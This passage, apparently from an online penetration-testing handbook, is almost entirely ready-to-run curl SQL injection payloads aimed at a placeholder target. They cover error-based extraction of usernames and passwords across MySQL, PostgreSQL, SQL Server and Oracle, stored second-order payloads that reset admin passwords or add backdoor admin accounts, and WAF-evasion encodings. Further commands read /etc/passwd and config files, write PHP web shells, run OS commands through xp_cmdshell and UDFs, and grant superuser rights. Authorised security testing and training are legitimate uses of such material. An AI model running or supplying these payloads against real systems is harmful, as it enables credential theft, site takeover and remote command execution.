curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, DATABASE(), 0x7e), 1)--"
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, VERSION(), 0x7e), 1)--"
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, USER(), 0x7e), 1)--"

# Extract from specific tables
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT username FROM users LIMIT 0,1), 0x7e), 1)--"
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT password FROM users WHERE username='admin'), 0x7e), 1)--"

Advanced UPDATEXML Queries:

# Count-based extraction
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT COUNT(*) FROM users), 0x7e), 1)--"
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE()), 0x7e), 1)--"

# Conditional extraction
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT IF(COUNT(*)>0, 'EXISTS', 'NOT_EXISTS') FROM users WHERE role='admin'), 0x7e), 1)--"

# Group concatenation for multiple values
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(username) FROM users), 0x7e), 1)--"
curl "https://<target>/page.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), 0x7e), 1)--"

EXP Function

Exponential Overflow Error:

# Using EXP function for error generation
curl "https://<target>/page.php?id=1' AND EXP(~(SELECT * FROM (SELECT DATABASE())x))--"
curl "https://<target>/page.php?id=1' AND EXP(~(SELECT * FROM (SELECT USER())x))--"
curl "https://<target>/page.php?id=1' AND EXP(~(SELECT * FROM (SELECT VERSION())x))--"

# Extract table data
curl "https://<target>/page.php?id=1' AND EXP(~(SELECT * FROM (SELECT username FROM users LIMIT 0,1)x))--"
curl "https://<target>/page.php?id=1' AND EXP(~(SELECT * FROM (SELECT CONCAT(username,':',password) FROM users LIMIT 0,1)x))--"

PostgreSQL Error-Based Techniques

CAST Function Errors

Type Conversion Errors:

# Extract version
curl "https://<target>/page.php?id=1' AND CAST((SELECT version()) AS int)--"

# Extract database name
curl "https://<target>/page.php?id=1' AND CAST((SELECT current_database()) AS int)--"

# Extract current user
curl "https://<target>/page.php?id=1' AND CAST((SELECT current_user) AS int)--"

# Extract table data
curl "https://<target>/page.php?id=1' AND CAST((SELECT username FROM users LIMIT 1) AS int)--"
curl "https://<target>/page.php?id=1' AND CAST((SELECT password FROM users WHERE username='admin') AS int)--"

Advanced CAST Queries:

# Extract table names
curl "https://<target>/page.php?id=1' AND CAST((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 0) AS int)--"
curl "https://<target>/page.php?id=1' AND CAST((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 1) AS int)--"

# Extract column information
curl "https://<target>/page.php?id=1' AND CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0) AS int)--"

# Multiple column extraction
curl "https://<target>/page.php?id=1' AND CAST((SELECT username||':'||password FROM users LIMIT 1) AS int)--"

Array Index Errors

Array Bounds Exploitation:

# Using array index errors
curl "https://<target>/page.php?id=1' AND (SELECT CASE WHEN (1=1) THEN 1/(SELECT 0) ELSE NULL END)--"

# Extract data through array errors
curl "https://<target>/page.php?id=1' AND (xpath('/x/',(SELECT version())::text))[1]::text>''--"

SQL Server Error-Based Techniques

CONVERT Function Errors

Type Conversion Exploitation:

# Extract version
curl "https://<target>/page.php?id=1' AND CONVERT(int, @@version)--"

# Extract database name
curl "https://<target>/page.php?id=1' AND CONVERT(int, DB_NAME())--"

# Extract user information
curl "https://<target>/page.php?id=1' AND CONVERT(int, SYSTEM_USER)--"
curl "https://<target>/page.php?id=1' AND CONVERT(int, USER_NAME())--"

# Extract table data
curl "https://<target>/page.php?id=1' AND CONVERT(int, (SELECT TOP 1 username FROM users))--"
curl "https://<target>/page.php?id=1' AND CONVERT(int, (SELECT TOP 1 password FROM users WHERE username='admin'))--"

Advanced CONVERT Queries:

# Extract system information
curl "https://<target>/page.php?id=1' AND CONVERT(int, @@SERVERNAME)--"
curl "https://<target>/page.php?id=1' AND CONVERT(int, @@SERVICENAME)--"

# Extract multiple rows
curl "https://<target>/page.php?id=1' AND CONVERT(int, (SELECT TOP 1 username FROM users WHERE username NOT IN ('admin')))--"

# Concatenated data extraction
curl "https://<target>/page.php?id=1' AND CONVERT(int, (SELECT TOP 1 username+':'+password FROM users))--"

Oracle Error-Based Techniques

ORA Error Exploitation

CTXSYS.DRITHSX.SN Function:

# Extract user information
curl "https://<target>/page.php?id=1' AND CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))=1--"

# Extract database version
curl "https://<target>/page.php?id=1' AND CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v\$version WHERE rownum=1))=1--"

# Extract table data
curl "https://<target>/page.php?id=1' AND CTXSYS.DRITHSX.SN(1,(SELECT username FROM users WHERE rownum=1))=1--"

UTL_INADDR.GET_HOST_NAME Function:

# Extract data using UTL_INADDR
curl "https://<target>/page.php?id=1' AND UTL_INADDR.GET_HOST_NAME((SELECT user FROM dual))=1--"
curl "https://<target>/page.php?id=1' AND UTL_INADDR.GET_HOST_NAME((SELECT username FROM users WHERE rownum=1))=1--"

Second-Order SQL Injection

Purpose

Second-order SQL injection occurs when user input is stored in the database and later used in a SQL query without proper sanitization during the retrieval and processing phase. This type of injection is more complex to detect and exploit as the malicious payload is not immediately executed.

Detection Methodology

Input Storage Points Analysis

Registration Systems:

# Register with potentially malicious usernames
curl -X POST -d "username=admin'-- &password=test123&email=test@test.com" \
     https://<target>/register.php

curl -X POST -d "username=test'; DROP TABLE users;-- &password=test123&email=test@test.com" \
     https://<target>/register.php

# Register with SQL injection payloads in various fields
curl -X POST -d "username=testuser&password=test123&email=admin'@test.com&bio=normal bio" \
     https://<target>/register.php

curl -X POST -d "username=testuser2&password=test123&email=test@test.com&bio=Nice profile'; UPDATE users SET password='hacked' WHERE username='admin';-- " \
     https://<target>/register.php

Profile Update Systems:

# Update profile with malicious data
curl -X POST -b "session=valid_session" \
     -d "bio='; UPDATE users SET role='admin' WHERE username='victim';-- &location=City&website=http://test.com" \
     https://<target>/update_profile.php

# Update with payloads in different fields
curl -X POST -b "session=valid_session" \
     -d "full_name=John'; DROP TABLE logs;-- &bio=Normal bio&phone=123456789" \
     https://<target>/profile/update

Comment and Feedback Systems:

# Submit comments with SQL injection
curl -X POST -d "comment=Great post'; INSERT INTO users (username,password,role) VALUES ('hacker','password','admin');-- &author=TestUser&email=test@test.com" \
     https://<target>/submit_comment.php

# Forum posts with delayed execution
curl -X POST -b "session=valid_session" \
     -d "title=Test Post&content=Nice forum'; UPDATE users SET password='compromised' WHERE id=1;-- " \
     https://<target>/forum/new_post

Trigger Point Identification

Administrative Functions:

# Login and access admin panel to trigger stored payloads
curl -X POST -d "username=admin&password=admin123" \
     https://<target>/login.php -c cookies.txt

# Access user management (may process stored malicious usernames)
curl -b cookies.txt https://<target>/admin/users.php

# View user profiles (may execute stored profile data)
curl -b cookies.txt https://<target>/admin/view_profile.php?user_id=1

Reporting and Analytics:

# Generate reports that may process stored data
curl -b cookies.txt https://<target>/admin/generate_report.php?type=users

# Export functions that query stored data
curl -b cookies.txt https://<target>/admin/export_users.csv

# Search functions that may use stored data in queries
curl -b cookies.txt "https://<target>/search.php?query=stored_username"

Exploitation Strategies

Multi-Step Exploitation Process

Step 1: Payload Storage

# Store malicious payload in user registration
curl -X POST -d "username=victim&password=test123&email=test@test.com&bio=Normal user'; UPDATE users SET password=MD5('hacked123') WHERE username='admin';-- " \
     https://<target>/register.php

# Verify registration success
curl -X POST -d "username=victim&password=test123" \
     https://<target>/login.php -c victim_session.txt

Step 2: Payload Activation

# Trigger payload through profile viewing
curl -b admin_session.txt "https://<target>/admin/view_profile.php?username=victim"

# Or through user search functionality
curl -b admin_session.txt "https://<target>/admin/search_users.php?query=victim"

# Or through report generation
curl -b admin_session.txt "https://<target>/admin/user_report.php"

Step 3: Exploitation Verification

# Attempt to login with compromised credentials
curl -X POST -d "username=admin&password=hacked123" \
     https://<target>/login.php

# Check if exploitation was successful
if curl -s -X POST -d "username=admin&password=hacked123" https://<target>/login.php | grep -q "dashboard\|welcome\|success"; then
    echo "Second-order SQL injection successful!"
else
    echo "Exploitation failed or not triggered yet"
fi

Advanced Second-Order Techniques

Time-Delayed Activation:

# Store payload that activates after specific time
curl -X POST -d "username=delayed&password=test123&reminder=Normal reminder'; IF DATEDIFF(NOW(), (SELECT created_date FROM users WHERE username='delayed')) > 1 THEN UPDATE users SET role='admin' WHERE username='delayed' END IF;-- " \
     https://<target>/register.php

# Wait for time condition and check activation
sleep 86400  # Wait 24 hours
curl -X POST -d "username=delayed&password=test123" https://<target>/login.php

Conditional Payload Execution:

# Store payload that executes only under specific conditions
curl -X POST -d "username=conditional&password=test123&status=active'; IF (SELECT COUNT(*) FROM users WHERE role='admin') < 2 THEN INSERT INTO users (username,password,role) VALUES ('backdoor','secret','admin') END IF;-- " \
     https://<target>/register.php

# Trigger through various application functions until condition is met
curl -b admin_session.txt https://<target>/admin/users.php
curl -b admin_session.txt https://<target>/admin/user_stats.php

Advanced SQL Injection Techniques

Purpose

Advanced techniques bypass modern security controls including Web Application Firewalls (WAFs), input filters, and other protection mechanisms while exploiting complex database configurations and features.

WAF Bypass Techniques

Comment-Based Bypasses

MySQL Comment Variations:

# Standard comment bypass
curl "https://<target>/page.php?id=1'/**/UNION/**/SELECT/**/1,2,3--"

# Inline comment variations
curl "https://<target>/page.php?id=1'/*!UNION*//*!SELECT*/1,2,3--"
curl "https://<target>/page.php?id=1'/*!50000UNION*//*!50000SELECT*/1,2,3--"

# Version-specific comments
curl "https://<target>/page.php?id=1'/*!50001UNION*//*!50001SELECT*/1,2,3--"
curl "https://<target>/page.php?id=1'/*50001UNION*//*50001SELECT*/1,2,3--"

# Multiple comment styles
curl "https://<target>/page.php?id=1'/*comment*/UNION/*comment*/SELECT/*comment*/1,2,3--"

Comment Nesting:

# Nested comment bypass
curl "https://<target>/page.php?id=1'/*/* nested */*/UNION/*/* nested */*/SELECT/*/* nested */*/1,2,3--"

# Complex comment structures
curl "https://<target>/page.php?id=1'/*!/*comment*/UNION/*comment*/SELECT/*comment*/*/1,2,3--"

Case Variation and Encoding

Case Mixing Bypasses:

# Mixed case variations
curl "https://<target>/page.php?id=1' UnIoN sElEcT 1,2,3--"
curl "https://<target>/page.php?id=1' uNiOn SeLeCt 1,2,3--"
curl "https://<target>/page.php?id=1' UNION select 1,2,3--"
curl "https://<target>/page.php?id=1' union SELECT 1,2,3--"

# Random case generation
curl "https://<target>/page.php?id=1' UnIOn sElEcT vErSiOn(),UsEr(),DaTaBaSe()--"

URL Encoding Bypasses:

# Single URL encoding
curl "https://<target>/page.php?id=1%27%20UNION%20SELECT%201,2,3--"

# Double URL encoding
curl "https://<target>/page.php?id=1%2527%2520UNION%2520SELECT%25201,2,3--"

# Mixed encoding
curl "https://<target>/page.php?id=1'%20UNION%20SELECT%201%2C2%2C3--"

# Unicode encoding
curl "https://<target>/page.php?id=1%u0027%u0020UNION%u0020SELECT%u00201,2,3--"

HTML Entity Encoding:

# HTML entity bypass
curl "https://<target>/page.php?id=1&#x27;&#x20;UNION&#x20;SELECT&#x20;1,2,3--"
curl "https://<target>/page.php?id=1&apos;&nbsp;UNION&nbsp;SELECT&nbsp;1,2,3--"

# Decimal HTML entities
curl "https://<target>/page.php?id=1&#39;&#32;UNION&#32;SELECT&#32;1,2,3--"

Space and Delimiter Bypasses

Alternative Space Characters:

# Tab character bypass
curl "https://<target>/page.php?id=1'%09UNION%09SELECT%091,2,3--"

# Newline bypasses
curl "https://<target>/page.php?id=1'%0aUNION%0aSELECT%0a1,2,3--"
curl "https://<target>/page.php?id=1'%0dUNION%0dSELECT%0d1,2,3--"
curl "https://<target>/page.php?id=1'%0d%0aUNION%0d%0aSELECT%0d%0a1,2,3--"

# Form feed and vertical tab
curl "https://<target>/page.php?id=1'%0cUNION%0cSELECT%0c1,2,3--"
curl "https://<target>/page.php?id=1'%0bUNION%0bSELECT%0b1,2,3--"

# Multiple space alternatives
curl "https://<target>/page.php?id=1'%09%0a%0d%20UNION%09%0a%0d%20SELECT%09%0a%0d%201,2,3--"

Comment-Based Space Replacement:

# MySQL comment spaces
curl "https://<target>/page.php?id=1'/**/UNION/**/SELECT/**/1,2,3--"
curl "https://<target>/page.php?id=1'/*!UNION*//*!SELECT*//*!1,2,3*/--"

# Nested comment spaces
curl "https://<target>/page.php?id=1'/*comment*/UNION/*comment*/SELECT/*comment*/1,2,3--"

Keyword Obfuscation

Alternative Keywords:

# AND/OR alternatives
curl "https://<target>/page.php?id=1' %26%26 1=1--"  # &&
curl "https://<target>/page.php?id=1' || 1=1--"     # ||
curl "https://<target>/page.php?id=1' AND 1=1--"

# UNION alternatives
curl "https://<target>/page.php?id=1' UNION ALL SELECT 1,2,3--"
curl "https://<target>/page.php?id=1' UNION DISTINCT SELECT 1,2,3--"

# SELECT alternatives with functions
curl "https://<target>/page.php?id=1' UNION SELECT 1,2,3 FROM dual--"
curl "https://<target>/page.php?id=1' UNION (SELECT 1,2,3)--"

Function Name Obfuscation:

# Database function alternatives
curl "https://<target>/page.php?id=1' UNION SELECT SCHEMA(),NULL,NULL--"  # Instead of DATABASE()
curl "https://<target>/page.php?id=1' UNION SELECT CURRENT_USER(),NULL,NULL--"  # Instead of USER()

# String function alternatives
curl "https://<target>/page.php?id=1' UNION SELECT SUBSTR(username,1,10),NULL,NULL FROM users--"  # Instead of SUBSTRING
curl "https://<target>/page.php?id=1' UNION SELECT LEFT(username,10),NULL,NULL FROM users--"

Database-Specific Advanced Features

MySQL Advanced Techniques

  • File System Operations:

# Read system files (requires FILE privilege)
curl "https://<target>/page.php?id=1' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--"
curl "https://<target>/page.php?id=1' UNION SELECT LOAD_FILE('/etc/hosts'),NULL,NULL--"
curl "https://<target>/page.php?id=1' UNION SELECT LOAD_FILE('/var/log/apache2/access.log'),NULL,NULL--"

# Read MySQL configuration
curl "https://<target>/page.php?id=1' UNION SELECT LOAD_FILE('/etc/mysql/my.cnf'),NULL,NULL--"

# Read web application files
curl "https://<target>/page.php?id=1' UNION SELECT LOAD_FILE('/var/www/html/config.php'),NULL,NULL--"
curl "https://<target>/page.php?id=1' UNION SELECT LOAD_FILE('/var/www/html/index.php'),NULL,NULL--"
  • File Writing Operations:

# Write web shell (requires FILE privilege and writable directory)
curl "https://<target>/page.php?id=1' UNION SELECT '<?php system(\$_GET[\"cmd\"]); ?>',NULL,NULL INTO OUTFILE '/var/www/html/shell.php'--"

# Write backdoor script
curl "https://<target>/page.php?id=1' UNION SELECT '<?php eval(\$_POST[\"code\"]); ?>',NULL,NULL INTO OUTFILE '/var/www/html/backdoor.php'--"

# Write to different locations
curl "https://<target>/page.php?id=1' UNION SELECT 'malicious content',NULL,NULL INTO OUTFILE '/tmp/test.txt'--"

# Use INTO DUMPFILE for binary files
curl "https://<target>/page.php?id=1' UNION SELECT 0x3c3f70687020656368bytestring INTO DUMPFILE '/var/www/html/binary_shell.php'--"
  • User-Defined Functions (UDF):

# Check for UDF capabilities
curl "https://<target>/page.php?id=1' UNION SELECT name,type,NULL FROM mysql.func--"

# Create UDF for command execution (if permissions allow)
curl "https://<target>/page.php?id=1'; CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so'--"

# Execute system commands via UDF
curl "https://<target>/page.php?id=1' UNION SELECT sys_exec('id'),NULL,NULL--"
curl "https://<target>/page.php?id=1' UNION SELECT sys_exec('whoami'),NULL,NULL--"

PostgreSQL Advanced Techniques

  • Large Object Functions:

# Read files using large objects
curl "https://<target>/page.php?id=1'; SELECT lo_import('/etc/passwd')--"
curl "https://<target>/page.php?id=1' UNION SELECT lo_get((SELECT oid FROM pg_largeobject LIMIT 1)),NULL,NULL--"

# Export data using large objects
curl "https://<target>/page.php?id=1'; SELECT lo_export((SELECT oid FROM pg_largeobject LIMIT 1), '/tmp/exported_data')--"
  • Command Execution:

# Create functions for command execution
curl "https://<target>/page.php?id=1'; CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT--"

# Execute system commands
curl "https://<target>/page.php?id=1' UNION SELECT system('id')::text,NULL,NULL--"
curl "https://<target>/page.php?id=1' UNION SELECT system('cat /etc/passwd')::text,NULL,NULL--"

# Alternative execution methods
curl "https://<target>/page.php?id=1'; COPY (SELECT 'test') TO PROGRAM 'id'--"
  • Extension Exploitation:

# Check available extensions
curl "https://<target>/page.php?id=1' UNION SELECT name,NULL,NULL FROM pg_available_extensions--"

# Use dblink for connections
curl "https://<target>/page.php?id=1'; SELECT dblink_connect('host=localhost user=postgres password=pass dbname=target')--"
curl "https://<target>/page.php?id=1' UNION SELECT dblink('dbconn', 'SELECT version()'),NULL,NULL--"

SQL Server Advanced Techniques

  • xp_cmdshell Command Execution:

# Enable xp_cmdshell (if permissions allow)
curl "https://<target>/page.php?id=1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE--"

# Execute system commands
curl "https://<target>/page.php?id=1'; EXEC xp_cmdshell 'whoami'--"
curl "https://<target>/page.php?id=1'; EXEC xp_cmdshell 'dir C:\\'--"
curl "https://<target>/page.php?id=1'; EXEC xp_cmdshell 'net user'--"

# Command output extraction
curl "https://<target>/page.php?id=1' UNION SELECT NULL,NULL,(SELECT output FROM (EXEC('EXEC xp_cmdshell ''whoami''')) AS temp(output))--"
  • OLE Automation:

# Enable OLE automation
curl "https://<target>/page.php?id=1'; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE--"

# Execute commands via OLE
curl "https://<target>/page.php?id=1'; DECLARE @shell INT; EXEC SP_OACreate 'wscript.shell', @shell OUTPUT; EXEC SP_OAMethod @shell, 'run', null, 'cmd.exe /c whoami'--"
  • Linked Server Exploitation:

# Enumerate linked servers
curl "https://<target>/page.php?id=1' UNION SELECT name,provider,NULL FROM sys.servers--"

# Query linked servers
curl "https://<target>/page.php?id=1' UNION SELECT * FROM OPENQUERY([LinkedServer], 'SELECT @@version')--"

# Execute commands on linked servers
curl "https://<target>/page.php?id=1'; EXEC ('xp_cmdshell ''whoami''') AT [LinkedServer]--"

Privilege Escalation Techniques

Database User Privilege Escalation

  • MySQL Privilege Escalation:

# Check current privileges
curl "https://<target>/page.php?id=1' UNION SELECT privilege_type,NULL,NULL FROM information_schema.user_privileges WHERE grantee=CONCAT(\"'\",USER(),\"'@'%'\")--"

# Check file privileges
curl "https://<target>/page.php?id=1' UNION SELECT (CASE WHEN (SELECT COUNT(*) FROM information_schema.user_privileges WHERE grantee=CONCAT(\"'\",USER(),\"'@'%'\") AND privilege_type='FILE')>0 THEN 'FILE_PRIV' ELSE 'NO_FILE_PRIV' END),NULL,NULL--"

# Attempt privilege escalation via SQL injection in DEFINER procedures
curl "https://<target>/page.php?id=1'; CALL vulnerable_procedure(''; UPDATE mysql.user SET Super_priv=''Y'' WHERE User=USER(); FLUSH PRIVILEGES;')--"
  • PostgreSQL Privilege Escalation:

# Check superuser status
curl "https://<target>/page.php?id=1' UNION SELECT (CASE WHEN usesuper THEN 'SUPERUSER' ELSE 'NOT_SUPERUSER' END),NULL,NULL FROM pg_user WHERE usename=USER()--"

# Check role memberships
curl "https://<target>/page.php?id=1' UNION SELECT rolname,NULL,NULL FROM pg_roles WHERE pg_has_role(USER(), oid, 'member')--"

# Attempt to create superuser (if permissions allow)
curl "https://<target>/page.php?id=1'; CREATE USER hacker WITH SUPERUSER PASSWORD 'password'--"
  • SQL Server Privilege Escalation:

# Check current server roles
curl "https://<target>/page.php?id=1' UNION SELECT name,NULL,NULL FROM sys.server_principals WHERE principal_id IN (SELECT role_principal_id FROM sys.server_role_members WHERE member_principal_id=USER_ID())--"

# Check sysadmin membership
curl "https://<target>/page.php?id=1' UNION SELECT (CASE WHEN IS_SRVROLEMEMBER('sysadmin')=1 THEN 'SYSADMIN' ELSE 'NOT_SYSADMIN' END),NULL,NULL--"

# Attempt privilege escalation
curl "https://<target>/page.php?id=1'; EXEC sp_addsrvrolemember 'domain\\user', 'sysadmin'--"

Testing Checklist:

  • Detection Phase:

  • Exploitation Phase:

  • Advanced Testing:

  • Tool Validation:

Last updated

Was this helpful?